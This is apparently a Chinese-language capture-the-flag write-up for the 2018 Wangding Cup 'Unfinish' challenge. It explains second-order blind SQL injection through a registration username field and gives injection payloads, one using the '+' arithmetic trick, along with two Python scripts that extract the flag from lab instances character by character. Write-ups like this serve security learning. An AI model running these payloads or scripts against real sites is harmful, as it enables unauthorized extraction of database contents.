[网鼎杯2018]Unfinish 两种方法 -----不会编程的崽

网鼎杯太喜欢搞二次注入了吧。上次是无列名盲注,这次又是二次注入盲注。。。不知道方法还是挺难的。哎,网鼎嘛,能理解透彻就很强了。能自己做出来那可太nb了。

又是熟悉的登录框。不知道这是第几次看见网鼎杯的登录框了。后台扫描一下,会发现存在register.php。那还说什么,注册呗。

 

明显了,账号名会回显,且登录不需要用户名。这里就可能出现注入。既然要注入,就要闭合引号。

经过尝试,当构造如下payload。用户名就变成了1

0'||'1

 

 下边这个payload也会返回1。判断数据库的第一个字母是否为w。

0'||ascii(substr(database() from 1 for 1))='119'||'0

数据库名为web。这里from与for代替了逗号。很抽象的是它过滤了imformation并且还限制了账户名的长度。这要怎么爆破表啊 ,啊啊啊啊!

去看大佬的wp,都说是猜的表名flag。。。打ctf都靠猜是吧。

这里还有一个问题,就是脚本。因为它这个账号必须每次换一个脚本要特别注意账号是否重复

0'||ascii(substr((select * from flag) from 1 for 1))=102||'0

因为盲注需要有判断标志,所以使用beautifulsoup获取网页元素。当然也可以使用正则表达式。呜呜呜,我不会正则表达式的写法。脚本写的很烂,大家见谅。 

import requests
from bs4 import BeautifulSoup
import time

url_r='http://bc79444f-d493-45e1-b3d5-3efd45777843.node5.buuoj.cn:81/register.php'
url_l='http://bc79444f-d493-45e1-b3d5-3efd45777843.node5.buuoj.cn:81/login.php'
flag=''
for i in range(1,500,1):
    for y in range(32,128,1):
        data_r={'email': '{}@{}'.format(i+500,y),'username':"0'||ascii(substr((select * from flag) from {} for 1))={}||'0".format(i,y),'password': '1'}
        data_l={'email': '{}@{}'.format(i+500,y),'password': '1'}
        content_r=requests.post(url_r,data=data_r)
        time.sleep(0.5)
        content = requests.post(url_l,data=data_l)
        #print(content.text)
        soup = BeautifulSoup(content.content, 'lxml')
        name = soup.find('span', {'class': 'user-name'})
        if name.string.strip()=='1':
            flag=flag+chr(y)
            print(flag)
            if '}' in flag:
                break

这里我就跑一半吧,实在是太慢了。 

 

这个判断依据是登陆后账户名是1还是0。缺点就是速度很慢。下边还有一种速度很快的方法。可以学习一下。

利用+号。加号在mysql里当作运算符使用。

0'+1+'0=1

0'+ascii(substr((select * from flag) from 1 for 1))+'0=102

你看,的确返回了102 

 

这样构造脚本,运行速度就快很多很多。当然上边那个你也可以开多线程

import requests
from bs4 import BeautifulSoup
import time

url_r='http://7cacd614-4f7e-4099-bd5d-ef3f5ff0009a.node5.buuoj.cn:81/register.php'
url_l='http://7cacd614-4f7e-4099-bd5d-ef3f5ff0009a.node5.buuoj.cn:81/login.php'
flag=''
for i in range(1,500,1):
    data_r={'email': '5@{}'.format(i),'username':"0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i),'password': '1'}
    data_l={'email': '5@{}'.format(i),'password': '1'}
    content_r=requests.post(url_r,data=data_r)
    time.sleep(0.5)
    content = requests.post(url_l,data=data_l)
    soup = BeautifulSoup(content.content, 'lxml')
    name = soup.find('span', {'class': 'user-name'})
    flag=flag+chr(int(name.string.strip()))
    print(flag)
    if '}' in flag:
        break

 

这个就快多了,1分钟不到就拿到了。有些人一直问,不就是一个普通的盲注吗,有必要用+这类的奇淫妙计吗?要是你不会的话,确实可以使用最原始的方法,但性能上的期望就远远低了。所以新的方法还是要学的.

  • 24
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值